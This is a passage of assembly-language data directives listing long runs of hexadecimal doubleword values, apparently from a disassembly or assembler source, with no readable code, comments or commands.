171EE494h, 78EE5EC7h, 74B92630h, 0C8325988h, 0F6C2280Fh dd 0E8727340h, 19C03C4Ah, 9B186DE1h, 89C62h, 0E97335B7h dd 3B908BA3h, 446CC200h, 0A3DEB7Fh, 0F19A00D8h, 583C3177h dd 900026E3h, 0A1CA5ABFh, 947B8EEh, 5C9217A4h, 581908A2h dd 6600E4D0h, 1F5E3D9Dh, 3C9A10AFh, 405CF00Dh, 93EF4207h dd 0B0BC5051h, 4516F8CAh, 0C1D6F7Dh, 9EDB8080h, 9850F5C5h dd 762A02D4h, 6AF28CE1h, 0DF0BA40Fh, 0AE505408h, 330BCE3h dd 0B89D6104h, 1FBF0CB0h, 6E5078FCh, 2D0AC280h, 0C02ED923h dd 8A52BC00h, 931D5B0h, 1F5CED05h, 0AFABD881h, 0DEF6D49Eh dd 0B0C09D07h, 6F90E615h, 9C9CF7EFh, 0A2700070h, 0B4F07571h dd 0E200CC7Bh, 25AD0C2h, 60A04D99h, 9BEDD01Fh, 500F89E0h dd 8098885Bh, 58DBC818h, 0D0C408B5h, 0C2006E8Bh, 0A45B80FEh dd 0B88403E7h, 0D2494805h dd 33E8EDE8h, 158ABC00h, 2A0A57DDh, 133E0073h, 0FAD61E89h dd 0EE00F72Eh, 0B16390D7h, 3D8450B2h, 0C200E3C1h, 3CF630D4h dd 6BE40A23h, 0D836EF2Ch, 9CFB2200h, 4F5C4132h, 4F741D72h dd 44521114h, 810EC700h, 34F1E634h, 0BA02C628h, 5C170A81h dd 2D480D7h, 27E9C6Fh, 9BB19F2Dh, 0DC80A26Ah, 92F57FF6h dd 1CA3DD44h, 8FEC40D1h, 43ABCD82h, 842A6CA4h, 0EC8BFCh dd 0BA3672B9h, 0F22F74E6h, 4C200F0h, 0DD938497h, 3F03A8CBh dd 5FAC1377h, 0A09184BAh, 0D2CDC823h, 0C0811FF0h, 0C44D6E98h dd 0A94DEB95h, 831A0E1Ch, 20E4A0B9h, 0E93159Fh, 2FC8ED28h dd 6404E2C0h, 0AA005183h, 40CF86B7h, 0CC2BA0h, 0D5081262h dd 0DDF7199Ah, 64FA2307h, 833987C4h, 0C04B3CACh, 0CD7B927h dd 0C887A3Eh, 70095E0h, 3F5B0B7Fh, 38B51D5Fh, 973CBC5h dd 33B2259Fh, 1AA948E3h, 54FC48ECh, 0B0DCCF00h, 0D6F97FEEh dd 0E87AA2h, 0A883F7Ah, 34FB6D8Dh, 68D8B361h, 7CECEAF8h dd 0E1B801A4h, 0CD87065Eh, 0E79024A2h, 0F8D86500h, 31CA11FDh dd 0A84B4CBEh, 0F225B907h, 0D6EEF0D1h, 0CB00331Eh, 0A26811C1h dd 1A3E41h, 0BB2E8FD5h, 0C08D903Dh, 0A5D96B00h, 0A2FA83DBh dd 0F85C009Ah, 3B70A91Ah, 0D1F0518Bh, 66EC217Fh, 6FFF8D13h dd 39E80010h, 4772811Ch, 197D3D4Ch, 65F4AEF1h, 1E267A71h dd 0C048D3DBh, 84981249h, 0F6003875h, 7A612C66h, 2641DAh dd 3951FB47h, 40AF121Dh, 55E87500h, 27A2E4BBh, 209648EAh dd 0A34FFE00h, 0D34E6654h, 0C53B0F00h, 5A7FD098h, 0B53E0006h dd 99259CD8h, 80093C8h, 94EE2B47h, 0E8BD5B20h, 4CF200E2h dd 0FC797ED9h, 0D500D308h, 0B8275A1Eh, 629EF1h, 0EAD0C1Dh dd 0B08DD6A5h, 770B5105h, 5E80FB93h, 0C8123Ah, 5E7A3B55h dd 0CEC6C984h, 29003372h, 0E6AAB647h, 0A0FFFB30h, 0E865AA2h dd 0FE9F5360h, 8A80C96Bh, 0ADD68242h, 8000EC96h, 5405C02Dh dd 1CD5034Bh, 0EC7CA81Bh, 190A8BD0h, 0FD448F1Dh, 69119D40h dd 0C6F708h, 0D1AEEC67h, 53091D9h, 0BE0593Bh, 8FF4761Ch dd 0C7A02745h, 0DFBFDAE0h, 18B1000Ah, 3370A3B0h, 300ED64Dh dd 732352h, 5D0506AEh, 3C80E5C0h, 0E4F74ED0h, 8F3EF3A8h dd 61630068h, 0CB235102h, 66AC2E15h, 0D0C600BFh, 0A82AB096h dd 586D7500h, 95ABFFF5h, 0D8E930DCh, 74CF4FBAh, 45E7CE00h dd 558B2032h, 9140FCAh, 0DE4012D8h, 642E4EE5h, 93C94000h dd 9F78ACD7h, 180200BFh, 44A4EF25h, 0DF00656Ch, 0B53FC82Ch dd 2FE499h, 9695DC47h, 4113DE8Ch, 0C99F871Dh, 0A0FE6580h dd 83A3ACh, 0A6E0996Dh, 27DACA1Bh, 0AE7B6000h, 6B79A257h dd 13C89AE6h, 37C9FAD3h, 0DA53B00Ch, 2D00E55Fh, 8954B833h dd 2302A9Ch, 97C74874h, 0ACC0601Fh, 49CD90Ah, 8085B580h dd 0E739CD3h, 4ACA3D68h, 818C89E1h, 0F69C647Bh, 0AF6CCD07h dd 20C37EF7h, 0E819007Ah, 136B0F76h, 650E74BCh, 813DBDCBh dd 0DC4D0E4Ch, 5F7474h, 43086B1Bh, 0DBDAA41Ah, 0C30036ECh dd 72386A40h, 38215h, 88EF4D83h, 0D839AB60h, 8C00AB90h dd 9D50A36Ah, 760D16h, 92EC80E8h, 0CE41B5C8h, 55CC8A00h dd 2F461727h, 6995188Ch, 6CBDB0C5h, 0BC7A5D13h, 4A917441h dd 21BCCCEDh, 1DC37803h, 0E3E060F7h, 5DF2BC65h, 176BBA22h dd 0F407CD6h, 289CCA71h, 0EADE000Ch, 516DEBDBh, 0C70F55F8h dd 20C3D103h, 5A0C5DF2h, 0DC01175Fh, 742D0F7Dh, 0A1E34E40h dd 0E00E1D8h, 630BE427h, 49456Ah, 8158CA47h, 0A2FE2090h dd 79512E07h, 7465DEBFh, 4C2C0FBBh, 24FA9C00h, 200AB5Ah dd 0D2361C9Eh, 98DCE5E2h, 0F2AF75A2h, 0E98300F1h, 539FDA67h dd 0B1007F1Fh, 4810A2D3h, 5489C321h, 0E784B2h, 5CB3F5BAh dd 0FC73CA41h, 0A718400h, 0A6B18568h, 29DF87h, 0EF435701h dd 17004402h, 86AD5E54h, 1C1DD9Eh, 0A2783062h, 24E11F47h dd 0F5B03848h, 7401A579h, 0B5D9C377h, 0B0403E12h, 0C0E8A8B7h dd 0E929C629h, 850084DEh, 0AA313748h, 0F62E08h, 6B077EDh dd 0E21CFF42h, 3A7E31C7h, 751B34C0h, 81A03E8Fh, 7FC91407h dd 0F60981E8h, 2101CDCCh, 0D484E0BBh, 11ABAD00h, 606DF7C0h dd 8B7E035Dh, 0B196FBB4h, 0AE071BC0h, 7A068C00h, 0CCD3440Ah dd 641A00C7h, 0D645F442h, 0F09E3A8h, 0C8DCD4E4h, 7204300h dd 9218F617h, 18F0B656h, 3EE13Eh, 0D65F1042h, 0E70DC4Ch dd 1FF639E3h, 0EAB06620h, 0FD398F17h, 0D9551889h, 0E69DC458h dd 0AAE70078h, 0CF9046FAh, 0ACFAF829h, 0B24C8C00h, 249306DAh dd 437AA0h, 368CD58h, 0D54095BEh, 809D4D38h, 91088362h dd 76FCA375h, 3F6CFA74h, 9487BAE5h, 8095307Ah, 55FAC345h dd 0E3F95B07h, 403C0AC0h, 51620152h, 2105727Bh, 0DB7AD89Eh dd 0CA0013ECh, 714B0E3Bh, 354A060h, 35D1DF78h, 9380FB61h dd 9E07B819h, 0AF49123Fh, 0FE2BE3B0h, 80DE8Eh, 7B38C436h dd 0FD007A80h, 6E8850Ch, 2E6B627Dh, 766DA46h, 0D74A9549h dd 0DC8E3067h, 98003D73h, 35DABCA4h, 0E0658BC6h, 93A20319h dd 0D42C1C7Fh, 44918E0h, 0D7A8962Ch, 0FC3AB107h, 8477294Ch dd 2211DA22h, 38223F9Ch, 0B34B2270h, 4088E374h, 71D3883Ch dd 6C084F89h, 40343CA1h, 1FBF2314h, 33084381h, 22A01E20h dd 0DC3139D8h, 6127510Dh, 881F5511h, 88340C29h, 7B98D98Eh dd 1F04C9h, 429BA187h, 66B978E7h, 0F6641300h, 143BA903h dd 34890011h, 0E8AEB3A3h, 4A00A6B9h, 7E38FF7Ah, 1F02C50h dd 0F328215Dh, 0FD886501h, 14A8DC79h, 49813B00h, 237D751Ch dd 45CB0F62h, 22E72427h, 4D16B078h, 0B0002005h, 6FA3BAECh dd 0E6B7ED57h, 45900022h, 7607BA5h, 0A400E24Eh, 51F3F598h dd 0E2C8D506h, 0BA5800B8h, 36A9D27h, 4B00219Ah, 358F1892h dd 674268h, 0B2FA565h, 0BA965CB4h, 282A5F00h, 3E9E9C82h dd 8EC41EB3h, 0D2F0C0BEh, 9FEAE708h, 1514C700h, 9707A1Ah dd 0FA7F3A98h, 0B1BA900h, 21F6831Dh, 7D02881Fh, 2A995441h dd 8FE8CA8Ah, 0E57B79F8h, 7DD262D4h, 9CB1383Ch, 0CE1D5680h dd 26FA44ECh, 8300F872h, 0E486C74Ah, 7BD9545h, 137440E0h dd 4C00D9C2h, 0A94BA37Dh, 6892880Ah, 6D80BC8Dh, 0C2DCC47Fh dd 0B04A0185h, 0DA8F2BBh, 7AC0FC8Eh, 53CC8800h, 2DEA6C19h dd 5B7E03AEh, 9F4654A6h, 0D532BBC8h, 11C11A00h, 186627FAh dd 0FD8B0E31h, 8E20296Dh, 0FBC0E75Dh, 0CC9D9700h, 0B1EF2B36h dd 1FC6006Ch, 78704158h, 1200D17Dh, 22633AF5h, 402951h dd 0EC6C244Eh, 6D722F66h, 4D71BE01h, 0C9BBBCD5h, 17D335D0h dd 0FDCEF49h, 0DBE24845h, 26091C8h, 0EA000229h, 0D32C767Ch dd 0F6F114h, 0B3FD5C96h, 0DA886860h, 0B44CB2E8h, 0AAF90040h dd 0FE861EFh, 2737032Fh, 4EBAFA7Dh, 0FC9C18F9h, 6D05F3B5h dd 2F7A4673h, 0B6DAB500h, 0DDE663h, 88843BFEh, 44E7257Bh dd 0BC8BC300h, 0E22DE373h, 6EA20B5Dh, 7D80F011h, 0C799ACD4h dd 0A009BE8h, 10D5FA28h, 2A1C0Fh, 731D378Fh, 82F1AE7Ah dd 8002C41Fh, 0F5B8F700h, 2E2946D9h, 0DF3A5Ah, 0DE705594h dd 0B4489C23h, 73158014h, 0A072CE8Ch, 1B8D4A8h, 5409E1EBh dd 4056713Dh, 217A1890h, 20A824B8h, 5E13E763h, 9B01028Fh dd 12847C6Eh, 2217E080h, 9FA15C07h, 6A1FA92Eh, 3AEBCD00h dd 4870A8FEh, 8000102Ah, 0A9A784Bh, 0AC505A12h, 0C27210A8h dd 0BEE4D4A0h, 8DFA2400h dd 8CAB7A4Fh, 7219019Ch, 2AA0A66Fh, 25A9FC7Fh, 0DF4FC602h dd 0E04B0C48h, 1D9DEA38h, 0C0E779C0h, 78DD7B15h, 0C307CCB6h dd 16475768h, 9B4AB0C1h, 0E3BDE0D3h, 98FE033Ch, 0A8FC228h dd 0FF9AD4F0h, 20333E00h, 0E9151D91h, 88A601E5h, 4B23DD6Ah dd 0E472DCFAh, 0E78F6D03h, 2BB718h, 0B087C2F8h, 0B3EF076Fh dd 0D076FB00h, 0AF4F3652h, 397B3Ah, 7F810BD1h, 75E63532h dd 1D74E13h, 2DA14C01h, 29EC1533h, 0BD04021Eh, 198DE8FDh dd 6D52EC81h, 70BB0135h, 0A46100F3h, 9B119E8Eh, 0E201FE86h dd 0ECB89EEh, 88C0325Dh, 58D70033h, 0B83FA004h, 4C0098C2h dd 0E8FCB139h, 9FB27Ch, 283D7F03h, 920A3827h, 0A1695100h dd 0EEE4551Eh, 209016Bh, 0C932441Dh, 99CFDC2Ch, 6F4C3600h dd 0C8BAB6Ch, 0CDED00D5h, 4E0BC004h, 9C079D0Dh, 0F2B98F8Ah dd 25204Ch, 2E1D12A6h, 6E114AA7h, 0E300D0F0h, 0BBF73DBh dd 8CE9D4h, 9EBAC19Ah, 0CE83CAEFh, 39014600h, 0EBD1563h dd 0A5410F6Ah, 0E40072AEh, 17366FD1h, 67883300h, 0BD352AAFh dd 0D06C026Bh, 2C29DB25h, 5080C88Fh, 7C9299D3h, 7DE2B007h dd 55018B58h, 6A706B38h, 28A5091Eh, 50A03BFBh, 9DA86396h dd 35118407h, 10115E80h, 7C4CBC4h, 1BFA282Dh, 49A0EC8h dd 0EBA06EFCh, 35F84F33h, 9738F971h, 0CFE30CAh, 3CFA5Bh dd 99FA71Fh, 0C1CF1B17h, 3B015490h, 8FC7B92Ch, 0D5C07C5Bh dd 62F200B7h, 0BBAC887h, 84006C97h, 8A53B02Fh, 0F2685A72h dd 4612011Ch, 56B1D6A5h, 6206h, 3CB5CE31h, 351CC42h, 889B2D9Fh dd 6E0AA45h, 0EFF3054Eh, 0C5F800EDh, 0B0AC2E82h, 7865F58h dd 22DBB334h, 0D6393140h, 8A8D0E33h, 59C06562h, 0DC0A8916h dd 51B4EF04h, 64C1E18Ch, 6AC41748h, 80ED643Ch, 0BBE12055h dd 0C44F1EBCh, 88680B2h, 703FA127h, 1E846200h, 41805AE8h dd 0B310190h, 3DEC53CAh, 13F8BF3Ah, 0EE002117h, 0AD633B29h dd 40080E45h, 0A720CD9Ch, 0F5E83843h, 17D7D000h, 147D9386h dd 656F00CEh, 3461A60h, 5E002BC6h, 3F0DC4C8h, 1922D7Bh dd 7090EB6Ch, 647CDFD1h, 0F90736B8h, 0E6FEBB67h, 3C2393h dd 0C02EEAB2h, 4C8DF05Ch, 451C650Fh, 0B3201831h, 8C1B1CD1h dd 19CDC04Bh, 0C301EFABh, 0B7092200h, 0DB9E4174h, 0A6970064h dd 79BE5F7h, 0B82C1F48h, 0A000A082h, 837D56Eh, 0F733074Dh dd 4F5066h, 3FBD9842h, 0F9437400h, 0FEE6ED69h, 906707C1h dd 2049223Bh, 0BF2A0D82h, 53EA9E00h, 779B1269h, 837812EBh dd 0B27000AEh, 0BDACD1FEh, 7E42BB00h, 0B1DDFB97h, 0DB7F00EEh dd 6B29A898h, 1D74F7CBh, 0C467417h, 63858800h, 0D65AE1h dd 4E96BB5Bh, 9C2C8D30h, 9B00F579h, 6075CEBDh, 0FD7671Fh dd 3E33FD97h, 0FAAFB180h, 16C05078h, 10FBEEA2h, 14D200F7h dd 0CECB465Bh, 7D0FF90Ch, 20E43464h, 50201393h, 4F770076h dd 7A594D3Bh, 1800B5BCh, 91D147CEh, 0B240D7h, 8CD477F4h dd 7ABC307Dh, 340006ECh, 0F7DCFF41h, 0DE35D9h, 0C052E739h dd 307C95B5h, 8224481Eh, 4DBD58C0h, 0DDF7BAh, 29F25A87h dd 1B6ED208h, 919E803h, 0D0420581h, 7A46B5E6h, 0D0DA00B8h dd 7DA9A2CAh, 0C17F2A52h, 36D3C000h, 0F12D5B5h, 4758009Ch dd 64C3A246h, 0E200CD4Fh, 96C6AD93h, 314F074h, 450F8113h dd 0C5E0C721h, 2DE284FAh, 96E438h, 0D7DA259Dh, 752272h dd 19B46016h, 6D6104B0h, 0A24E990Fh, 0C26C800Bh, 608B6A33h dd 7A9426B4h, 0B3B8BBFEh, 2E118D00h, 0B7DF7E1Ah, 54581F4Dh dd 5EC54057h, 0C629FD91h, 0B0CFB930h, 0A1FF03h, 47B511E5h dd 57F7BBFCh, 7D019148h, 0A310F960h, 0FE4A02C5h, 0D3320036h dd 50FF1EFh, 1F00D1C6h, 0CD5E634Bh, 37230B4h, 0AB2401C7h dd 0F5D492h, 35974FF0h, 7901336Eh, 2F053DA5h, 7DF93261h dd 53B91080h, 0E3D834B0h, 0DC1C1800h, 7B0B459Ah, 0FF270116h dd 0CC037A6Bh, 83C20F1h, 0EF674101h, 0A1F78E46h, 0EE1E32C8h dd 0AC9C003Ch, 0B302CA37h, 0D40B3BBAh, 8E5067A9h, 8EE5A04Eh dd 0FC58207h, 1C74F91Eh, 329BFC0h, 1B00E7D1h, 99F117ECh dd 5075560Dh, 0D7F86Ch, 43963E12h, 9C335DE8h, 6E195C00h dd 0E0601CFh, 518F006Bh, 4494E525h, 69B8ED8Bh, 0EBD71B01h dd 0BB128BAh, 0E9810CCh, 0BECD0975h, 0A90EE620h, 88F4E0CFh dd 8E624600h, 835A4FACh, 16743BDFh, 63FCF980h, 0FBC81D9Eh dd 84D0C00h, 0BF3279ADh, 0CFD301DDh, 0C354E853h, 711EC8D5h dd 45B90800h, 0ED7F09AEh, 0C092603Eh, 0E5622C3Dh, 60E31400h dd 83488EC6h, 0BC7E50ABh, 0F9D727Bh, 0BA0930FEh, 4AD8C0FCh dd 0AD17E725h, 5DA6B407h, 6C802B41h, 0CA8503h, 0C7A92AAAh dd 1767EB52h, 0B44B1D24h, 4CB07900h, 1E5ED971h, 802215C2h dd 0C76E7814h, 67000183h, 8764A97Fh, 0F4A844B9h, 0AEB803B2h dd 0A18F3DEFh, 0A00C29D8h, 609FD00h, 0D0325C76h, 2F6B005Eh dd 0DF1B0B95h, 6D00C9FEh, 19BBAB92h, 16725Bh, 969BD581h dd 0E9899CE6h, 0CA84224h, 641DE800h, 0C8C910h, 9C5DE212h dd 69892F27h, 71096F0Bh, 53500094h, 42288F5h, 0B3E8B980h dd 0BDD0807Fh, 0B50054EAh, 3C391B91h, 23B3FB4h, 0F0126A86h dd 5440DAF5h, 831FCD5Ch, 20D8ABFCh, 3974086h, 0CCD8EA73h dd 0DC8847F6h, 1D063082h, 0B929AB27h, 13467FB8h, 278D149h dd 0A5645028h, 92C7C8A0h, 5F00E7B0h, 0B4A1DD80h, 1A8649h dd 32B10C2Dh, 0DE42C341h, 3C4E4Dh, 4CA14A93h, 17BD4D8h dd 0B3242522h, 21C782CEh, 2096006h, 9FDB2900h, 8FCA3EB5h dd 1DDEEC6h, 0BBDF80Ah, 0C0085CE3h, 2D0086BFh, 0A5BE60D2h dd 4B82F9h, 0E5CFC5BBh, 0D5FF04E7h, 0F1024571h, 0A67F2731h dd 67304065h, 4E7554h, 636CB08Fh, 59F78D73h, 77F35826h dd 52D73700h, 35CB415h, 4D7EFED6h, 1D904463h, 3D01CD0Ah dd 6F82F83Ch, 8FD15966h, 9020E4D1h, 0AB7111FFh, 76FDC089h dd 731E7Fh, 0BF044A7Ch, 240840A1h, 5D09C4Dh, 0DE7138Ch dd 0F595B403h, 0B6308818h, 1BE3038Bh, 112194FFh, 0EAAE90EFh dd 72004560h, 8C635D02h, 5685A1h, 0F89BF2DEh, 2CA90F01h dd 0FDC13A00h, 0B55828CEh, 79120031h, 2B6F178Fh, 0CD00DF9Fh dd 45D7D570h, 743A389h, 0CC6A4131h, 0F81CED8h, 4376ED8Ah dd 4AB058B0h, 96014B79h, 56A98ED7h, 0B8B84485h, 1D73F500h dd 0FB38B0E8h, 29DC2300h, 0CBFD05E0h, 86300046h, 7E0D9D0Ah dd 26003C8Fh, 2F6FA59Eh, 48E359h, 37FD4564h, 0D8CD80AFh dd 0CC4E5139h, 4F3307F0h, 2003E191h, 0DC5EF804h, 2665005Ch dd 332CC84Dh, 8A0079DDh, 0C54B1812h, 1E758891h, 8716341Fh dd 601108B8h, 57FEF45Ch, 652CB8A8h, 0DEF0D489h, 68458A1Eh dd 0B8327882h, 64F9C0F4h, 0C8F227h, 7E1C3EF6h, 2033FADAh dd 3B342C05h, 0C0EF4CDEh, 85195839h, 0EF40249h, 528092FAh dd 0FF2C62A8h, 0D5990348h, 2591038Eh, 0B747D0C5h, 1D202359h dd 68C0844Dh, 88B633E7h, 551C011Fh, 4F0C5694h, 539BC0E5h dd 0F75BAE00h, 27D29C63h, 0B2D71619h, 39F31B60h, 82A0419Fh dd 1202510h, 4CAF90C9h, 0E1022820h, 8C8927C1h, 0B324417Eh dd 0F462A70h, 0A6218D3Dh, 0CFE83CE0h, 4E4D0556h, 7EC5803Ch dd 183606h, 0F6D667EAh, 74EB6159h, 0CBA9AB00h, 8D669AB3h dd 0D34C0016h, 0A4017D7Ah, 0BD00C915h, 0FA3AC5D2h, 7B1785h dd 8DD739Bh dd 2BDED6EAh, 460FA300h, 48D160A1h, 6A260139h, 8A6BAE74h dd 0A7007F02h, 56F31AF6h, 3A34007Bh, 9CBB575Fh, 79072F88h dd 23D1BD3Eh, 9F21C510h, 24320393h, 0D04E71A2h, 0BB5995D0h dd 413E4D02h, 6807D14Ch, 42AC76Ch, 573F4362h, 0D5C0EF4Fh dd 0FF8BB4h, 0D1AB8A12h, 0C8365BF5h, 39002D98h, 0B5307210h dd 0ECA85EB3h, 1F380033h, 6F25649Dh, 2100C391h, 75F7DFBBh dd 904E0A3Eh, 0ADD7904h, 0DB17ABB3h, 405907F8h, 417740FFh dd 70001C9Bh, 303B0F75h, 58E5B5BCh, 980081EAh, 39803153h dd 44BA1669h, 0BA444200h, 822E842Fh, 0DFA0074Ch, 6F64E851h dd 0EFB0C45Dh, 0B74928Ah, 6900FCE3h, 0A3E708C3h, 29D96Eh dd 0EDCE1210h, 0BD445492h, 0A7045E1Eh, 453C3800h, 9BE13Ah dd 0EED210A5h, 5D8551C7h, 0B572AF00h, 335ADF6Ch, 845000CCh dd 0E7428BF1h, 1E1C6A38h, 0C80037Eh, 6E05F916h, 59A8004Eh dd 32393112h, 0F400DE2Fh, 0D4EFD2BEh, 3058E7FFh, 2C304425h dd 901213BDh, 0CC4182ECh, 0FBFE111Dh, 1EBEB20h, 0FC951761h dd 0C8C15849h, 0B7486D39h, 6A007DD8h, 8A1C9769h, 39D30910h dd 62809CF6h, 747AC024h, 5100D92Ah, 0DED26563h, 288A70h dd 0C72539DCh, 0DAEEA1Fh, 3F98B900h, 0D5AF7810h, 0F4520055h dd 0C22F161Eh, 0B48EDAAh, 78CC001Dh, 0ABC3671Ah, 3D7461h dd 663B0F6h, 0DEC797Bh, 48CA2701h, 0C24C566Ah, 9692ECh dd 8276DAFEh, 0DC951F54h, 23D71601h, 0A31777DDh, 24B5E420h dd 0E4028D8h, 9DC2D4B3h, 0C07F2D24h, 0A9D145h, 303FE8A4h dd 9739CACFh, 715D538h, 93A3268Fh, 48163B62h, 3E0434h dd 9C20B037h, 254B1E45h, 298BA200h, 1ACC99E1h, 26FB000Fh dd 0C2CACD75h, 0AB00702Ch, 8B193B93h, 47F4E9h, 0A74BAA17h dd 0A271E2DFh, 0D3433Dh, 0C6A831D5h, 251F57h, 0B0505D64h dd 0CE7429E5h, 56FC4A00h, 20A95BA3h, 0AAA60047h, 0A2ECF58Eh dd 0B200466Fh, 3C9B3EB7h, 7B33C056h, 31940152h, 262DE521h dd 0F482E4ADh, 1886AF00h, 0B03D755Bh, 3AAE04E4h, 0C006E57Fh dd 63B485CFh, 0A6AFE600h, 93167E2Dh, 35409DEFh, 0DF00229Eh dd 0BB404D04h, 1DAAF41h, 0CDB5B618h, 0DCD8518Ch, 55037116h dd 1D029E04h, 769EFF36h, 0D23CBC40h, 0C3FAA849h, 63D73928h dd 42E4B3E0h, 0F8797301h, 0B48B71C5h, 0B74DF02Eh, 417EF900h dd 79A54DA7h, 0B1209BAh, 0F00F06E8h, 398162C0h, 5B008A46h dd 0C03370F1h, 3AFF64Eh, 37347830h, 5E8ACE5h, 0CC00D136h dd 49C17DE6h, 770B616h, 0A6A7CDC5h, 3BDD408Bh, 5A005BF7h dd 0FCDAB1F4h, 3BAFA0FDh, 8481F16Ah, 56BA4763h, 0F079F928h dd 0F0E73ADh, 20331E29h, 0D4FBB2A0h, 0BDB8C2h, 8086BE84h dd 6FE1E4FFh, 0EF067107h, 9A909834h, 306A6692h, 0ADC028CAh dd 0D5048A76h, 56156DB1h, 0C48B66C1h, 6CA2F4h, 73DB63D6h dd 0D15FF876h, 8021F33Eh, 0AB97FCA1h, 7DC4C0C6h, 0BEE00FDBh dd 0C8A368Dh, 62EF00B4h, 88A77CBAh, 18384B00h, 4426B2Bh dd 4543000Ah, 8DB632DFh, 0A45F1E93h, 0EF000EECh, 0D896380Dh dd 7113DB2Ah, 0C006D39Fh, 0FCF88AC7h, 0ADF701DCh, 0FD92C215h dd 0EA65E063h, 29676B09h, 97249016h, 0CA9D00E7h, 0B29FE28Dh dd 733802C1h, 791D000Bh, 940934D4h, 0C2241EEFh, 7426A1h dd 0A870BC83h, 47002FA6h, 3CB0FEA7h, 7B9A9h, 771BEB9Ch dd 4B4CBD3Bh, 52DFE912h, 0E7122C16h, 306E645Ch, 9C663860h dd 12190EF7h, 9A00B521h, 0BAF9BDBCh, 0F0EF0F6h, 0BCDDDB0Ch dd 33018E39h, 0A51F209Fh, 9C94D866h, 0CCCB0848h, 0D6755880h dd 7A804CDh, 73EC0AEAh, 3E1092DFh, 2B644CC0h, 830EF400h dd 0CCC3D7B6h, 882600D0h, 67AD9C7Eh, 0A1F2D230h, 7A731E00h dd 22657464h, 6E140190h, 0C65D7DE8h, 0A5D074A7h, 6BAD9200h dd 46D63224h, 0C0A30789h, 5F2CA0ABh, 0D445EC80h, 59093D12h dd 0E7B87815h, 0DEA7300h, 20508F12h, 7A965913h, 2D4A053Bh dd 0BBBF06h, 9A81E3A8h, 9CB06DC6h, 0B31A4800h, 684B1283h dd 0F77C0470h, 0A6D9D89Ch, 18C200D8h, 82B0090Bh, 50900E8Dh dd 58006399h, 0DE467B8h, 2BCF0800h, 0D056E5DEh, 2F7B12AAh dd 805E1C7Ch, 0F96D5182h, 1F1D5EB5h, 35400336h, 3A2611D5h dd 103400D9h, 466D8C0Bh, 0CA07C259h, 860F165Fh, 576A40FFh dd 7BB5F290h, 2E8C0053h, 475583D3h, 3548F7DEh, 0AEDC001Eh dd 0C7A79389h, 82B31FF6h, 750E40B2h, 0F37B169Bh, 0B79DB905h dd 80FEC276h, 110A80C5h, 0D1019F7Fh, 33B358F1h, 5024174Fh dd 28FE8B8h, 688249EAh, 0C842A11Ah, 11440480h, 0AD1F9072h dd 0D98225C0h, 5049333Ah, 22EF0E6Ch, 4A01FCFAh, 807D794Eh dd 2F502534h, 2E06A6E3h, 80449F5Fh, 0CD87CE08h, 6D00E44Dh dd 0D177FF24h, 5969075h, 6266AD35h, 0C5C8C1B4h, 441CD053h dd 0E332A40Eh, 879F807Ch, 1C013A63h, 839E88F8h, 36DC3442h dd 33B118E8h, 0DD0E137Ch, 1408FDC9h, 0BD3CEFh, 0B76B0B0Eh dd 67B2978Dh, 10C74007h, 0A5EF8219h, 6EC99503h, 5FF213Ah dd 0A70BB019h, 12606328h, 4CC384BAh, 0F8C6C0C5h, 717407BCh dd 0BE35970Eh, 10F412h, 0F19F5EDDh, 907AAEh, 0EA45D4CFh dd 477C782Bh, 56073FF2h, 17B69FADh, 5F5D70A0h, 0D0F897F4h dd 66971600h, 12B1AB80h, 6B1300A1h, 68ACEC51h, 0D30059F0h dd 0C032885h, 1550B89h, 0E9B64C12h, 401474BFh, 0FC767987h dd 225C981Fh, 90F72B8h, 80272915h, 0F1BC912Eh, 71DD00A0h dd 2212148Dh, 0B8B013A2h, 0CA1C387Ch, 0AF401744h, 3E98F483h dd 0A310C545h, 5CC80B6h, 601FCAF9h, 0B4853164h, 0DC50AB61h dd 9FC30494h, 2C881E80h, 57E3E79h, 26E9481h, 99DE9387h dd 0D7212908h, 3F505F4h, 414BCEF6h, 708E4248h, 92780913h dd 0C09D50h, 37EFB9BBh, 190294E3h, 884121Ah, 0A134344Ah dd 5B00DB98h, 0E963F30Ch, 0C52DBE7h, 0B4ADEE28h, 48C9698h dd 9420059Ch, 212662DEh, 0D8058AD9h, 4E781A9Ch, 48D61200h dd 0ED61E0BFh, 62B0FAh, 0A310F2ECh, 5D6A4987h, 0A56CDB07h dd 37A0C88Fh, 732FF4h, 7101FB57h, 9F7447BBh, 0ED35FD12h dd 0D0B3CF00h, 1EFC2Dh, 57D3BFCAh, 116CDACEh, 1F3CA400h dd 0FE1FD90h, 0DF03Eh, 9BC39DB1h, 11A3055Ch, 707BA500h dd 0D7B58173h, 35691DC1h, 3E03442Fh, 0D33682CDh, 0D27A32C0h dd 71E14100h, 0F3697E35h, 56C1009Ch, 29DF85EDh, 0FB00AB5Eh dd 2358D5BDh, 0D87340h, 460CF471h, 0EAB191F7h, 4B7C8CAh dd 9200DC55h, 7E25B4FAh, 1FDAD3Eh, 36058037h, 20021C4Ch dd 0D8007720h, 0A3084946h, 0F732537Dh, 70312E4h, 544BBEBDh dd 756590BBh, 29C847E7h, 3F794271h, 0AB217824h, 52151141h dd 0C23D6710h, 22CECC81h, 924BC12h, 113CB321h, 0DF11BA30h dd 13AD120Eh, 79280A9Bh, 0C1422804h, 394D6111h, 0E8296227h dd 0F1F22B8h, 224E0522h, 0FC24A65Eh, 1308D321h, 7A00E4F9h dd 6FAB96ADh, 4285DC00h, 0C874CC1Fh, 0E5E60308h, 41D8B835h dd 0E4C143A9h, 61014B87h, 3E366673h, 0EBF4B646h, 0D8230028h dd 108B029Ch, 4F0058CFh, 80125147h, 8D5A97h, 61C3A085h dd 0BB67C738h, 89D6E0B7h, 0DDF0D3h, 5709B73Eh, 333D6B5Fh dd 0A00B3900h, 71059A98h, 3F110304h, 0A736658h, 7CE81007h dd 6D40B88Bh, 5C6C6201h, 6700498Ch, 42EB999Fh, 0B4247402h dd 0DE07182Eh, 0AB90DA94h dd 40F458h, 794D3993h, 9E9CA3DCh, 0B376AC00h, 4F242519h dd 0FBA40C89h, 551018B6h, 11C76A00h, 1981FF1Bh, 13940761h dd 6FF5DEF6h, 0A604CC00h, 870085BCh, 0AA783CDBh, 763809B1h dd 0D6C2007Ah, 46E1E26Ch, 2D6365D2h, 0A06A3F90h, 0A61BFFh dd 32748561h, 8F4E1641h, 0D0BF983Eh, 0BA0EB6E2h, 4077FDCBh dd 8467AB51h, 7211E28Eh, 0C2EC3C0Eh, 0FBA26D84h, 0B22C8029h dd 23004809h, 2218412Ah, 0F29CC2F2h, 8E6D0372h, 1B600BB5h dd 28D13800h, 932440DDh, 0B17830F4h, 39A88928h, 50622201h dd 0E1F3DACh, 88FCDCh, 